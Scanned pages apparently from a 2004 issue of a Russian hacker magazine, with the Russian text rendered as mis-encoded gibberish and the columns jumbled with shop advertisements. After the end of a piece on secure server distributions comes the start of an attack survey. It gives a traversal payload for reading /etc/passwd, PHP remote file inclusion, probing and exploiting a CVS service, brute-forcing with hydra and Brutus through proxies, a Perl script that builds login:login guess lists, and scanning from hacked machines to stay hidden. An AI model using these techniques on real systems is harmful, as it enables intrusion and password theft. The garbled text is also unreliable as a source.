êîäå ñèñòåìû. Ñðàçó âèäåí ñåðüåçíûé ïîäõîä ïðîãðàì-
ìèñòîâ QSSL. Êàê âèäèøü, ïîêà âñå ïðîñòî èäåàëüíî. Íî
ýòî âñå îòíîñèòñÿ ê ñàìîé ñèñòåìå. Ñâîåãî æå ÏÎ, íåîá-
õîäèìîãî äëÿ ñîçäàíèÿ ïîëíîöåííîãî ñåðâåðà, ó íåå íåò.
QNX èñïîëüçóåòñÿ â îñíîâíîì âî âñòðàèâàåìîì îáîðó-
äîâàíèè, äëÿ óçêîñïåöèàëèçèðîâàííûõ çàäà÷ íà ïðîèç-           Øëåì i-O Display Systems
âîäñòâå. Íî îòñóòñòâèå ñîôòà èìåííî äëÿ QNX íèêîãî íå             i-glasses HRV
îñòàíîâèëî: ÿ âñå ÷àùå âñòðå÷àþ íà ïðîñòîðàõ ðóíåòà                $89,99
àäìèíîâ-ýíòóçèàñòîâ, çàïóñêàþùèõ ñåðâåðà íà åå áàçå.
Äà è ñàì, ÷åãî ñêðûâàòü, ïåðåâåë ñâîé web-ñåðâåð íà ýòó
ñèñòåìó è ïîêà íèñêîëüêî íå æàëåþ. Èòàê, ÷òî íóæíî äëÿ
ñîçäàíèÿ ñóïåðçàùèùåííîãî ñåðâåðà ðåàëüíîãî âðåìå-
íè íà áàçå QNX? Ñàìîå ãëàâíîå – ýòî äèñòðèáóòèâ ñèñòå-
ìû. Äëÿ íàøåé çàäà÷è âïîëíå äîñòàòî÷íî NE (Non-
Commercial) âåðñèè, êîòîðàÿ ïîñòàâëÿåòñÿ íà 1 CD. Ñóùå-
ñòâóåò íåñêîëüêî ñïîñîáîâ ïîëó÷åíèÿ ýòîãî äèñêà. Ïåð-             Master Pilot w
âûé - ñêà÷àòü ñ îôèöèàëüíîãî ñàéòà www.qnx.com îáðàç              /Programmer
äèñêà è çàïèñàòü åãî ñàìîìó. Â ýòîì âàðèàíòå åñòü íåï-
                                                                   $849,99
ðèÿòíûå ìîìåíòû: ñëèâàòü íàäî îêîëî 300 ìåãîâ, ïðè-
÷åì âûêà÷àòü íàäî çà îäèí ðàç âñå - äîêà÷êà íå ïîääåð-
æèâàåòñÿ. Êðîìå òîãî, ñêîðîñòü ñêà÷êè äîëæíà áûòü íå
ìåíüøå 10 Êá â ñåêóíäó, èíà÷å èõ ñåðâåð áóäåò çàêðû-
âàòü ñåññèþ è ïðèäåòñÿ íà÷èíàòü âñå ñ íà÷àëà. Äðóãîé             Øëåì/ i-O Display
âàðèàíò - ïîïðîáîâàòü ïîëó÷èòü ïî ïî÷òå áåñïëàòíî                Systems i-glasses
ïîëíóþ âåðñèþ QNX äëÿ âóçîâ (íàïðÿãè äåêàíà - è áóäåò                 SVGA
òåáå ñ÷àñòüå!) (âñÿ èíôîðìàöèÿ íà ñàéòå www.swd.ru). È,            $199,99                      $259,99                       $149,99
íàêîíåö, ñàìûé ïðîñòîé è äîñòóïíûé ïóòü – çàêàçàòü
êíèãó “Îïåðàöèîííàÿ ñèñòåìà ðåàëüíîãî âðåìåíè QNX:
îò òåîðèè ê ïðàêòèêå”, êîòîðàÿ ïðîäàåòñÿ âî ìíîãèõ èí-
òåðíåò-ìàãàçèíàõ, ïðè÷åì îáîéäåòñÿ òåáå îíà âìåñòå ñ
äèñêîì íå äîðîæå 250 ðóá. Ïîñëå ïðîñòîé èíñòàëëÿöèè
òû ïîïàäåøü â ñàìóþ áûñòðóþ è ñòàáèëüíóþ ÎÑ. Âñå
                                                                                         Êëàâèàòóðà/ Microsoft
ñîâðåìåííûå âåðñèè ïîääåðæèâàþò TCP/IP-ïðîòîêîë â
                                                                                         Wireless Optical Desktop    Äæîéñòèê
ïîëíîé ìåðå, ïîýòîìó òåáå îñòàíåòñÿ òîëüêî óñòàíîâèòü           Âèáðîæèëåò               for Bluetooth               CH FlightStick Pro USB
è îòêîíôèãóðèðîâàòü ñåðâåðíîå ÏÎ. Êñòàòè, ïîëó÷èòü              Aura Systems
âåñü íåîáõîäèìûé ñîôò ìîæíî ëèáî íà ñòðàíè÷êå îäíî-             Interactor Vest

ãî èç ó÷àñòíèêîâ ïðîåêòà www.qnx.org.ru, ëèáî ñîáðàâ åãî           $149,99                     $219.99                    $219.99
ñàìîñòîÿòåëüíî èç èñõîäíèêîâ, âåäü ñèñòåìà POSIX-ñîâ-
ìåñòèìà. Ýòà îñü, ïîæàëóé, ëó÷øèé âûáîð, íî òîëüêî
äëÿ ïðîôåññèîíàëîâ è òåõ ëþäåé, êîòîðûå ãîòîâû áî-
ðîòüñÿ ñ òðóäíîñòÿìè.

ÕÅÏÏÈ ÝÍÄ                                                     Êëàâèàòóðà/ Auravision
    Âîò è âñå, ÷òî ÿ õîòåë ðàññêàçàòü î äèñòðèáóòèâàõ ñå-                                    Ïåäàëè/CH Pro            Äæîéñòèê/ CH Flight
                                                              EluminX Illuminated
                                                                                             Pedals USB               Sim Yoke USB
ãîäíÿøíèõ äíåé. Ïîäâåäåì èòîãè. Ñðåäè Linux-ñáîðîê ñà-        Keyboard
ìûé ëó÷øèé âûáîð äëÿ çàùèùåííîãî õîñòà – ýòî Gentoo          Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!                 e-mail: sales@e-shop.ru
Linux. Åñëè íóæíî ïîñòàâèòü áûñòðî è áîëåå-ìåíåå êà÷å-       Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü                   ñ 09.00 äî 21.00 ïí - ïò
ñòâåííî ñåðâåð è íåò çíàíèé èëè æåëàíèÿ ñàìîìó ñîçäà-                                                           ñ 10.00 äî 19.00 ñá - âñ
âàòü çàùèòó - Mandrake 10 Official ñ ìàêñèìàëüíûì óðîâ-      WWW.E-SHOP.RU                               WWW.GAMEPOST.RU
íåì áåçîïàñíîñòè î÷åíü äàæå íåïëîõ. Åñëè òû ïîêëîííèê
äåìîíà, òâîé âûáîð èñêëþ÷èòåëüíî OpenBSD - ðàçðàáîò-         (095) 928-6089 (095) 928-0360 (095) 928-3574
÷èêè î÷åíü õîðîøî ïîçàáîòèëèñü î ñîçäàíèè ñåêüþðíîé
ñèñòåìû. Äëÿ ëþáèòåëåé ñëîæíûõ ïóòåé – QNX. Åå èñ-
ïîëüçîâàíèå õàðàêòåðèçóåòñÿ îòñóòñòâèåì çàâèñàíèé
ñåðâåðà, è ìèêðîÿäåðíàÿ ñèñòåìà ðåàëüíîãî âðåìåíè ãà-
ðàíòèðóåò òåáå ýòî. E
                                      16     ÂÇËÎÌ          ÀÒÀÊÀ ÈÍÒÅËËÅÊÒÀ

                                      Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Content:
16 Àòàêà èíòåëëåêòà
Îáçîð óäàëåííûõ è ëîêàëüíûõ àòàê      ÀÒÀÊÀ
                                      ÈÍÒÅËËÅÊÒÀ
22 Ñòåíêà âñìÿòêó
Îáõîä áðàíäìàóýðîâ ñíàðóæè è
èçíóòðè
28 Ðûáíàÿ ëîâëÿ â
ëîêàëüíîé ñåòè
Âñå àñïåêòû ñíèôèíãà ïîä *nix
32 Xploits. How to?
Ýêñïëîèòû ïîä *nix äëÿ
                                       ÎÁÇÎÐ ÓÄÀËÅÍÍÛÕ È ËÎÊÀËÜÍÛÕ ÀÒÀÊ
íà÷èíàþùèõ
36 Íåâèäèìîñòü â *nix
Îáçîð stealth-ìåõàíèçìîâ áýêäîðîâ
                                          ðàìîòíûé âçëîìùèê íèêîãäà íå îãðàíè÷èâàåòñÿ îäíîé íåóäàâøåéñÿ àòàêîé.
                                      Ã Îí ïûòàåòñÿ íàéòè ïîòîìó, ÷òî îí çíàêîìñåðâåðó. Â áîëüøèíñòâåàòàê è
                                      åìó ýòî óäàåòñÿ. À âñå
                                                             êîíêðåòíûé ïîäõîä ê
                                                                                 ñ áîëüøèíñòâîì âèäîâ
                                                                                                      ñëó÷àåâ
40 DoS/DDoS                           ïîñëåäîâàòåëüíî ïåðåáèðàåò èõ, ïîêà, íàêîíåö, íåñ÷àñòíûé ñåðâåð íå
Àòàêà ãðóáîé ñèëû
                                      ïîä÷èíèòüñÿ çàâåòíîé êîìàíäå.
42 Îòûùè è âûïîëíè!
Óäàëåííîå âûïîëíåíèå êîìàíä
44 ßäðà - ÷èñòûé èçóìðóä                          èïè÷íàÿ îøèáêà íà÷èíàþùå-
«ßäåðíûå» ïðîáëåìû â *nix
56 Linux -
«ïðèòîí» õàêåðîâ
Êîðîòêî î ãëàâíîì
50 Ñåðâèñíàÿ óãðîçà
                                      Ò           ãî âçëîìùèêà çàêëþ÷àåòñÿ â
                                                  òîì, ÷òî îí íàñòîé÷èâî ïûòà-
                                                  åòñÿ àòàêîâàòü ñåðâåð îäíèì
                                                  åäèíñòâåííûì ñïîñîáîì (íàï-
                                    ðèìåð, WWW-ñêàíèðîâàíèåì). Åñëè ó íåãî íè-
Àòàêè íà êîíêðåòíûå ñëóæáû          ÷åãî íå âûõîäèò, çëîóìûøëåííèê èùåò íî-
54 Çàðàçà äëÿ íèêñîâ                âóþ æåðòâó. À çðÿ, âåäü ìîæíî áûëî èñïîëü-
Âèðóñíûé ðàçãóë ïîä UNIX            çîâàòü äðóãîé âèä íàïàäåíèÿ è â ðåçóëüòàòå
58 Îïàñíàÿ ïðàêòèêà                 ïîëó÷èòü êàêèå-íèáóäü ïðàâà íà ìàøèíå.
Ïðèìåðû ðåàëüíûõ âçëîìîâ            ×èñëî ðàçëè÷íûõ àòàê, êîòîðûå ìîæíî ïðè-
                                    ìåíèòü ê æåðòâå, íåäàëåêî îò íóëÿ, ïîýòîìó      Áåçîïàñíûé ðó÷íîé ñêàí
62 Îõîòà çà áàãàìè
Àâòîìàòèçèðîâàííûé ñáîð             ïðèäåòñÿ â ïîòå ëèöà ùóïàòü ìàøèíó íà íà-
óÿçâèìîñòåé                         ëè÷èå êðóïíûõ äûðîê.                           øåëë. Åñëè äàæå ñåðâèñ ïðîïàò÷åí, íèêàêèõ
64 Áàçà äàííûõ                                                                     ñëåäîâ ÿ íå îñòàâèë, ïîñåìó îáâèíèòü ìåíÿ â
ïîä ïðèöåëîì                        ÓÄÀËÅÍÍÎÅ ÍÀÏÀÄÅÍÈÅ                            äåñòðóêòèâíûõ äåéñòâèÿõ íèêîìó íå óäàñòñÿ.
Âçëîì ÁÄ                                Âñå àòàêè íà÷èíàþòñÿ ñ óäàëåííîãî ñáî-       Åñëè ïðèíÿòî ðåøåíèå ñêàíèðîâàòü ñåðâåð,
68 Ñåòåâàÿ äàêòèëîñêîïèÿ            ðà èíôîðìàöèè. Ñïåðâà õàêåð íå âëàäååò íè-     äåëàòü ýòî ëó÷øå ñ áåçîïàñíîãî ìåñòà. Äî-
Òåõíîëîãèÿ remote fingerprinting    êàêèìè äàííûìè î õîñòå. Íî ïîñòåïåííî çà-      âîëüíî ãëóïî ïîëüçîâàòüñÿ ðàçëè÷íûìè ïðîã-
                                    ïàñ çíàíèé óâåëè÷èâàåòñÿ, à â ãîëîâå ñåòå-     ðàììàìè òèïà LANGuard íåñìîòðÿ íà óäîáñòâî.
                                    âîãî ïàðòèçàíà ïîÿâëÿþòñÿ êàêèå-òî íàìåò-      Åñëè õî÷åòñÿ, ÷òîáû ïðîâàéäåð íèêîãäà íå óç-
                                    êè. Âûáðàòü âèä íàïàäåíèÿ – åùå òî èñêóñ-      íàë î ôàêòå ñêàíèðîâàíèÿ (íå åãî, à óäåëåííî-
                                    ñòâî. Ñåé÷àñ ÿ ðàññêàæó îá îñíîâíûõ óäà-       ãî ñåðâåðà), çàïóñêàé nmap â íåâèäèìîì ðåæè-
                                    ëåííûõ àòàêàõ, à òàêæå î òîì, êàê èõ ïðà-      ìå íà äàëåêîì ðóòøåëëå. Âïðî÷åì, LANGuard
                                    âèëüíî îñóùåñòâèòü.                            îïðàâäûâàåò ñåáÿ, áóäó÷è çàïóùåííûì íà õàê-
                                                                                   íóòîé Âèíäå â òåðìèíàëüíîé ñåññèè :).
                                    ÎÕÎÒÀ ÇÀ ÁÀÆÍÛÌÈ ÄÅÌÎÍÀÌÈ                        Áûâàåò, ÷òî âåðñèÿ äåìîíà îòëè÷àåòñÿ îò
                                        Ïåðâûì è, ïîæàëóé, ñàìûì èçëþáëåííûì       áàæíîé. Òåì íå ìåíåå, ñòîèò ïîïðîáîâàòü
                                    ìåòîäîì óäàëåííîãî íàïàäåíèÿ ÿâëÿåòñÿ          íàòðàâèòü ýêñïëîèò íà ìàøèíó, èáî íåêîòî-
                                    àòàêà ñ ïðèìåíåíèåì ýêñïëîèòà ê óÿçâèìîìó      ðûå îñîáî àêòèâíûå ñèñàäìû îáîæàþò ïîä-
       ÎÌ




                                    ñåðâèñó. Íî ïðåæäå ÷åì àòàêîâàòü ýòîò óÿç-     ìåíÿòü áàííåðû ñâîèõ ñåðâèñîâ. ß óæå ïè-
                                    âèìûé ñåðâèñ, åãî åùå íåîáõîäèìî îáíàðó-       ñàë î òîì, êàê îòëè÷èòü ïîääåëüíûé áàííåð
                                    æèòü. À ýòî íå âñåãäà ïðîñòî ñäåëàòü. Ïðåïÿ-   îò ïîäëèííîãî (XSpeZ OS4Hack), ïîýòîìó
                                    òñòâèÿ ìîãóò áûòü êàêèìè óãîäíî – ðàçëè÷íî-    ïîâòîðÿòüñÿ íå áóäó.
                                    ãî ðîäà ïðîãðàììû, çàùèùàþùèå òà÷êó îò           Èñïîëüçîâàíèå ýêñïëîèòà – êëàññè÷åñêèé
ÂÇË




                                    ñêàíèðîâàíèÿ ïîðòîâ, óìíûå àäìèíû, ïîäìå-      âçëîì, íî ÷àñòî ñåòåâîìó ïàðòèçàíó íå ïî çó-
                                    íÿþùèå áàííåðû ñåðâèñîâ, íàñòðîåííûé           áàì õàêíóòü ñåðâåð ýòèì ñïîñîáîì (ê ïðèìå-
                                    (èëè ÷àñòè÷íî íàñòðîåííûé) áðàíäìàóýð, êî-     ðó, èç-çà ôàåðâîëà). Òîãäà ïðèõîäèòñÿ ïðè-
                                    òîðûé ðåæåò íåçâàííûå ïàêåòû. Çà ìîþ íå-       áåãàòü ê äðóãèì, ìåíåå áëàãîäàðíûì ñïîñî-
                                    äîëãóþ ñåòåâóþ æèçíü ìíå ïðèõîäèëîñü           áàì âçëîìà. Íàïðèìåð, ê ñêàíèðîâàíèþ web-
                                    ñòàëêèâàòüñÿ ñ ðàçíûìè òðóäíîñòÿìè, íî ýòî     ñêðèïòîâ.
                                    åùå íå ãîâîðèò î íåóÿçâèìîñòè äåìîíà.
                                      Åñòü îäíà õàêåðñêàÿ ìóäðîñòü: ëó÷øåå ñêà-    ÊÐÈÂÎÉ ÑÊÐÈÏÒ – ÊËÞ× Ê ÑÅÐÂÅÐÓ
                                    íèðîâàíèå – ðó÷íîå ñêàíèðîâàíèå :). Ýòî ÷àñ-       Ïîíÿâ, ÷òî ïðîñêàíèðîâàòü ïîðòû ñåðâå-
                                    òè÷íî òàê - ñêàí âðó÷íóþ èçáàâëÿåò îò íåãà-    ðà íå óäàåòñÿ äàæå âðó÷íóþ, âçëîìùèê ìî-
                                    òèâíîãî âëèÿíèÿ ðàçëè÷íûõ àíòèïîðòñêàíå-
                                    ðîâ, óñòàíîâëåííûõ àäìèíîì íà ñåðâåðå.
                                    Êîãäà ìíå õî÷åòñÿ íàéòè ñåðâåð ñ óÿçâèìûì
                                    ñåðâèñîì cvs è ïðîáèòü åãî íîâûì ýêñïëîè-
                                    òîì, ÿ íèêîãäà íå áóäó ñêàíèðîâàòü âåñü äèà-
                                    ïàçîí ïîðòîâ íà ìàøèíå. Çà÷åì? ß ïðîñòî
                                    âûïîëíþ êîìàíäó «telnet victim.com 2401» è
                                    ïðîâåðþ íàëè÷èå äåìîíà íà òà÷êå. Çàòåì
                                    áåñøóìíî çàïóùó ñïëîèò è ïîëó÷ó èñêîìûé         Íåâèäèìûé nmap

                                     ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                                            17


æåò îáðàòèòü âíèìàíèå íà WWW-çîíó           âàòü íåìíîãî èçìåíèòü çíà÷åíèå îï-        åãî ñîäåðæèìîå áóäåò âûïîëíåíî íà
ñåðâåðà.  90% ñëó÷àåâ ïîðò 80 æåðò-        öèè íà íàçâàíèå ñèñòåìíîãî ôàéëà.         àòàêóåìîì ñåðâåðå.




                                                                                                                                                    ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
âû áóäåò îòêðûòûì, à âñå ïîòîìó, ÷òî        Òîëüêî ñëåäóåò äåëàòü çàìåíó ðàçóì-         Ýòà èíôîðìàöèÿ – ëèøü àçû âçëîìà
öåëü äàííîãî ñåðâåðà – çàíÿòíûé web-        íî. Äîïóñòèì, ïðèñóòñòâóåò ïàðàìåòð       ÷åðåç WWW. Õî÷åøü óçíàòü áîëüøå ïî
ïðîåêò, êîòîðûé âïîëíå ìîæåò ñîäåð-         file, ðàâíûé article1. Åñëè ïîïðîáîâàòü   õàêó ñöåíàðèåâ - ÷èòàé ñòàòüþ ïðî óäà-
æàòü äûðÿâûå ñêðèïòû.                       ìîäèôèöèðîâàòü çíà÷åíèå íà ÷òî-íè-        ëåííîå âûïîëíåíèå êîìàíä, à òàêæå
   íàøå âðåìÿ âñòðåòèòü ñòàòè÷åñêèé        áóäü òèïà «../../../../../etc/pass-       ïîäïèøèñü íà íîâîñòè áàãòðàê-ëåíò.
êîíòåíò ñàéòà î÷åíü ñëîæíî, ïîýòîìó         wd%00», ìîæåò óëûáíóòüñÿ óäà÷à.             Åñëè õàêåðó âåçåò, îí áûñòðî íàõî-
ó çëîóìûøëåííèêà áîëüøå øàíñîâ              Âåäü íóëë-áàã ñóùåñòâóåò äàæå â           äèò óÿçâèìûå ôàéëû. Íî áûâàåò, ÷òî
íà óñïåõ. Áûâàåò, ÷òî ïåðâîêëàññíûé         ïîñëåäíåé âåðñèè Perl.                    âñå ñöåíàðèè íåóÿçâèìû. Â ýòîì ñëó-
àäìèí âîçîìíèò ñåáÿ web-ìàñòåðîì è              ñëó÷àå ñ PHP ìîæíî ïîýêñïëóàòè-      ÷àå âçëîìùèê îáÿçàòåëüíî ïîïðîáó-
íàïèøåò òàêîé ñêðèïò, çàùèòà êîòîðî-        ðîâàòü áàãè, õàðàêòåðíûå äëÿ ýòîãî        åò ïðîñêàíèðîâàòü web-ñåðâåð íà íà-
ãî îñòàâëÿåò æåëàòü ëó÷øåãî. Ýòèì           èíòåðïðåòàòîðà. Åñëè âäðóã âñòðåòèò-      ëè÷èå áàæíûõ ñêðèïòîâ. Çäåñü åìó
õàêåð è âîñïîëüçóåòñÿ! Îäíàêî îí            ñÿ îïöèÿ page=blabla, ìîæíî çàìó-         ïîìîæåò îáû÷íûé WWW-ñêàíåð, êàêèõ
äîëæåí óìåòü áûñòðî îòëè÷àòü áàæ-           òèòü êàê îòêðûòèå ñèñòåìíîãî ôàéëà,       â èíåòå ðàçâåëîñü âåëèêîå ìíîæåñò-
íûé ñêðèïò îò íîðìàëüíîãî.                  òàê è cross-side-àòàêó. Äëÿ ýòîãî ñîç-    âî. Îò ñåáÿ ìîãó ïîðåêîìåíäîâàòü
   ïåðâóþ î÷åðåäü íóæíî îáðàùàòü           äàåòñÿ PHP-ôàéë ñ ëþáûì êîäîì íà          ïåðëîâûé ñêðèïò cscan.pl
âíèìàíèå íà ïàðàìåòðû, ïåðåäàííûå           äðóãîì ñåðâåðå è ïåðåäàåò ññûëêà íà       (kamensk.net.ru/1/x/cscan.tar.gz), ïîçâîëÿþ-
ñöåíàðèþ ìåòîäîì GET - òàêèå ñêðèï-         íåãî â êà÷åñòâå ïàðàìåòðà. Ïðè õîðî-      ùèé ñêàíèòü ìàøèíû ñ ëþáîé *nix-
òû ñðàçó âèäíî. Íàïðèìåð, ïîïðîáî-          øåì ðàñêëàäå ñêðèïò çàãðóçèòñÿ, à         êîíñîëè. Ýòî óäîáíî è áåçîïàñíî îä-
                                                                                      íîâðåìåííî. Â àðõèâå ïîìèìî ñêàíå-
                                                                                      ðà ðàñïîëîæåíà áàçà óÿçâèìûõ ñöå-
                                                                                      íàðèåâ (ïðàâäà, îíà äîâîëüíî ñòàðàÿ
                                                                                      è óæå ïîêðûëàñü ïëåñåíüþ ;)).
                                                                                        Òû ìîæåøü ñêàçàòü, ìîë, ñêàíèðîâàë
                                                                                      ÿ ýòè ñåðâåðà è íè÷åãî, êðîìå ÷òåíèÿ
                                                                                      ôàéëîâ, íå äîáèëñÿ. Äåéñòâèòåëüíî,             Åñëè óäà-
                                                                                      íèêàêèõ ïðèâèëåãèé îò ïðîñìîòðà ñî-            ëîñü ïîäîá-
                                                                                                                                     ðàòü ïàðîëü
                                                                                      äåðæèìîãî /etc/passwd íå ïîäíÿòü. Íî           äëÿ FTP,
                                                                                      ýòî ìîæåò ïîñëóæèòü òîë÷êîì ê áîëåå            ãðåõ íå ïîï-
                                                                                                                                     ðîáîâàòü
                                                                                      äåéñòâåííîìó ìåòîäó.                           åãî äëÿ
                                                                                                                                     SSH. Ìíî-
                                                                                      ÏÅÐÅÁÅÐÈ ÂÑÅ ÂÀÐÈÀÍÒÛ                          ãèå àäìèíû
                                                                                                                                     èñïîëüçóþò
                                                                                          Åñëè âçëîìùèêó ÷àñòè÷íî ïîâåç-             /etc/shadow
                                                                                      ëî ñ WWW, òî îí ïðîáóåò àòàêîâàòü              äëÿ âñåõ
                                                                                                                                     ñåðâèñîâ,
                                                                                      ñåðâåð áðóòôîðñîì. Êîíå÷íî, òû ñëû-            ïîýòîìó
                                                                                      øàë, ÷òî ýòîò ìåòîä çàêëþ÷àåòñÿ â ïå-          âîçìîæíî,
                                                                                                                                     ÷òî ïàðîëè
                                                                                      ðåáîðå ïàðîëÿ íà îïðåäåëåííûé ñåð-             ñîâïàäóò.
                                                                                      âèñ. Íà ïåðâûé âçãëÿä ïîêàæåòñÿ, ÷òî
                                                                                      ïðîñòî áåññìûñëåííî ïðîãîíÿòü âñå
            Íóëë-áàã ñîáñòâåííîé ïåðñîíîé
                                                                                      âàðèàíòû ïàðîëåé ÷åðåç ñåòü. Íî
                                                                                      òîëüêî íà ïåðâûé. Åñëè óäàëîñü ïðî-
                                                                                      ÷èòàòü /etc/passwd, ýòî óæå ïåðâûé             Ìîæíî
                                                                                      øàã ê ïîáåäå, âåäü èçâåñòíû âñå ñèñ-           ïðîñìîò-
                                                                                                                                     ðåòü âñå
                                                                                      òåìíûå ëîãèíû. Îñòàåòñÿ çàïóñòèòü              ñèñòåìíûå
                                                                                      áðóòôîðñåð è îçàäà÷èòü åãî ïåðåáî-             ëîãè â
                                                                                                                                     /var/log è
                                                                                      ðîì íåñêîëüêèõ ïðîñòûõ ïàðîëåé íà              íàéòè òàì
                                                                                      óêàçàííûå ëîãèíû. Íà ñàìîì äåëå,               ïàðîëè. Òà-
                                                                                      áðóòôîðñ – ýòî öåëîå èñêóññòâî, êîòî-          êîå ñëó÷à-
                                                                                                                                     åòñÿ, åñëè
                                                                                      ðîå ïîñòèãàåòñÿ ãîäàìè. Ìàòåðûé õà-            íà ìàøèíå
                                                                                      êåð ñðàçó ÷óâñòâóåò, ÷òî ïîëüçîâà-             âåðòèòñÿ
                                                                                                                                     äåìîí ðàäè-
                                                                                      òåëü lamer1 âîîáùå íå èìååò ïàðîëÿ,            óñà ñ ïîë-
                                                                                      à þçåð lamer2 çàõîäèò ïîä ïàðîëåì              íûì äåáà-
                                                                                                                                     ãîì.
                                                                                      qwerty.
                                                                                        Ëè÷íî ÿ ðóêîâîäñòâóþñü íåñêîëüêè-
                                                                                      ìè ïðàâèëàìè, êîãäà ïðèáåãàþ ê áðóò-
                                                                                      ôîðñó. Âî-ïåðâûõ, åñëè /etc/passwd
                                                                                      î÷åíü äëèííûé è ñîäåðæèò ìíîæåñò-
                                                                                      âî àêêàóíòîâ, åñòü âåðîÿòíîñòü òîãî, »
ðèñ. Êîíñòàíòèí Êîìàðäèí




                                                                                       Ïðèìåð êðîññàéäèíãà
                                      18      ÂÇËÎÌ         ÀÒÀÊÀ ÈÍÒÅËËÅÊÒÀ


                                                                                     ÑÖÅÍÀÐÈÉ PARSER.PL
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                                                                      #!/usr/bin/perl
                                                                                      $in=$ARGV[0];
                                                                                      $out=$ARGV[1]; ## Îïðåäåëèì ïàðàìåòðû ñêðèïòà
                                                                                      exit print “Use $0 $in $out\n” unless ($out);
                                                                                      open(IN,"$in");
                                                                                      open(OUT,">$out");
                                                                                      while(<IN>) {
                                                                                      chomp;
                                                                                      if (~/sh$/) { ## Çàïèøåì òîëüêî âàëèäíûå àêêàóíòû
                                                                                      ($u,@undef)=split ":";
                                                                                      print OUT "$u:$u\n"; ## Â âèäå ïàðû login:login
                       Ñêàíèì èç êîíñîëè                                              }
                                                                                      }
                                   ÷òî ïàðîëü ðàâåí ëîãèíó. È ýòà âåðî-               close(IN);
                                   ÿòíîñòü òåì âûøå, ÷åì áîëüøå çàïè-                 close(OUT);
                                   ñåé â ñèñòåìå. Åñòåñòâåííî, ïðèäåòñÿ
                                   ïåðåáðàòü âñå ñòðîêè ôàéëà è âûáðî-
                                   ñèòü þçåðîâ, êîòîðûå íå èìåþò øåë-
                                   ëà (çà÷åì íàì íåïîëíîöåííûå àêêàóí-             âèñà) è âòîðîñòåïåííûõ (÷èñëî ïîòî-         âëàäåëåö ñåðâåðà. À åìó ýòîãî îé êàê
                                   òû?), à çàòåì ñîñòàâèòü ñïèñî÷åê òèïà           êîâ, ëîãôàéë, îñòàíîâ ïðè ïîäáîðå           íå õî÷åòñÿ äåëàòü :).
                                   «login:login». Ïîñëå âñåãî âçëîìùèê             ïåðâîãî ïàðîëÿ, ïåðåáîð ïàðû                  Ó ñåðüåçíûõ ïðîåêòîâ ñóùåñòâóåò
                                   ñêîðìèò ýòîò óâåñèñòûé ñïèñîê ïðîã-             login:login) ïàðàìåòðîâ, è hydra îòïðà-     ñâîÿ ñëóæáà áåçîïàñíîñòè (èëè
                                   ðàììå-áðóòôîðñó.                                âèòñÿ â áåñêîíå÷íûé öèêë :). Íè÷òî íå       abuse). Åå çàäà÷à – ðàñïîçíàâàòü àòà-
                                     Ïî äîáðîòå äóøåâíîé ÿ íàïèñàë íå-             ìåøàåò îñòàâèòü ýòîò äëèòåëüíûé             êè è ñîîáùàòü âëàäåëüöàì ñåòåé îá
                                   áîëüøîé ïåðëîâûé ñöåíàðèé, êîòî-                ïðîöåññ â ïîêîå è ëèøü ïåðèîäè÷åñ-          èõ ôàêòå.  ñâÿçè ñ ýòèì, íèêòî íèêîã-
                                   ðûé óìååò ïåðåãîíÿòü äàííûå èç                  êè ïðîâåðÿòü ðåçóëüòàò ðàáîòû ïðîã-         äà íå çàíèìàþòñÿ DDoS, èñïîëüçóÿ
                                   /etc/passwd â áàçó äëÿ áðóòôîðñåðà.             ðàììû. À ÷òî åùå îñòàåòñÿ, åñëè äðó-        ñåðâåðà â ñåòè ñâîåãî ïðîâàéäåðà.
                                   Äåëàåò îí ýòî áûñòðî è êà÷åñòâåííî,             ãèå ìåòîäû íå ïîìîãëè?..                    ×àùå âñåãî ïîäîáíûå çëîäåÿíèÿ ñî-
                    Íå ïîëåíèñü    îòáèðàÿ òîëüêî âàëèäíûå àêêàóíòû.                 Áûâàåò, ÷òî àäìèí çàùèòèë ñâîé            âåðøàþòñÿ èç êîíñîëè çàáóãîðíûõ
                    è ïðîïàðñè       ×òî êàñàåòñÿ áðóòôîðñåðà, ìîãó                Web-ðåñóðñ äèíàìè÷åñêèìè èçîáðà-            ìàøèí. Òàêèå ñèñòåìû "çàðàæåíû"
                    access_log     ïðèâåñòè òåáå ïðèìåð êàê ïîä Âèíäó,             æåíèÿìè.  ýòîì ñëó÷àå ñîôòâàðíûå           ñïåöèàëüíûìè áîòàìè, êîòîðûå óìåþò
                    îò Apache,
                    åñëè òàêî-     òàê è ïîä *nix. Êëàññè÷åñêèì ñîôòîì             áðóòôîðñåðû îòäûõàþò. Ïðèäåòñÿ              îáìåíèâàòüñÿ äàííûìè ìåæäó ñîáîé.
                    âîé èìååò-     ïîä Win32 ÿâëÿåòñÿ, êîíå÷íî æå,                 ïðèáåãíóòü ê èíòåëëåêòóàëüíîìó, èëè,        Ñêàæåì, çàõîòåë õàêåð óáðàòü white-
                    ñÿ. Äåëî â
                    òîì, ÷òî âñå   ïðîãðàììà Brutus. Îíà óìååò ìíîãîå,             ïîïðîñòó, ðó÷íîìó, ïåðåáîðó. Åñëè òû        house.gov. Äëÿ ýòîãî îí ñîåäèíÿåòñÿ ñ
                    ïàðîëè, ïå-    íî ñîâñåì íå ïîääåðæèâàåò ïðîêñè.               çíàåøü ëîãèí ê ðåñóðñó, ìîæíî ïî-           çàðóòàííûì êèòàéñêèì ñåðâåðîì, êî-
                    ðåäàííûå
                    ìåòîäîì        Ïîýòîìó ÿ ëþáëþ ñâîäèòü Brutus ñ                äîáðàòü ïàðîëü, êàæäûé ðàç ââîäÿ            ìàíäóåò â êîíñîëè «./ddos white-
                    GET, áóäóò     ïðîãðàììîé Sockscap è ãíàòü òðàôèê              íîâûé êîä íà èçîáðàæåíèè. Äëÿ îá-           house.gov» è èäåò ïèòü ïèâî. Ïîñëå
                    çàïèñàíû â     ÷åðåç áåçîïàñíûå ñîêñû. Ëèáî, êàê               ëåã÷åíèÿ ðàáîòû ìîæíî èñïîëüçî-             çàïóñêà ïðîãðàììà ./ddos çàãëÿäûâà-
                    ýòîò æóð-
                    íàë.           âàðèàíò, ìîæíî þçàòü Brutus íà óäà-             âàòü ðàçëè÷íûå òóëçû äëÿ áðàóçåðîâ,         åò â ñâîé êîíôèã, íàõîäèò òàì ïàðó
